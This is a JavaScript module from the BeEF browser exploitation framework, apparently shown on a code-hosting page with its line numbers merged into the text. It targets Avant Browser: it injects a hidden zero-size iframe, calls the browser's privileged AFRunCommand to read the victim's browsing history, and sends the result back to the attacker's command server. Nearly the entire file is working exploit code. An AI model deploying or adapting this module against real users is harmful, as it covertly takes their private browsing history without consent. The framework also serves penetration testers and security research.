Path: blob/master/modules/browser/avant_steal_history/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn [email protected]2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//15beef.execute(function() {1617if (!beef.browser.isA()) {18beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Target browser is not Avant Browser.");19return;20}2122var avant_iframe = document.createElement("iframe");23//var avant_iframe = beef.dom.createInvisibleIframe();24avant_iframe.setAttribute('src', 'browser:home');25avant_iframe.setAttribute('name', 'avant_history_<%= @command_id %>');26avant_iframe.setAttribute('width', '0');27avant_iframe.setAttribute('heigth', '0');28avant_iframe.setAttribute('scrolling','no');29avant_iframe.setAttribute('style', 'display:none');3031document.body.appendChild(avant_iframe);3233var vstr = {value: ""};3435if (window['avant_history_<%= @command_id %>'].navigator) {36//This works if FF is the rendering engine37window['avant_history_<%= @command_id %>'].navigator.AFRunCommand(<%= @cId %>, vstr);38beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+vstr.value);39} else {40// this works if Chrome is the rendering engine41//window['avant_history_<%= @command_id %>'].AFRunCommand(60003, vstr);42beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Rendering engine is not set to Firefox.");43}4445});46474849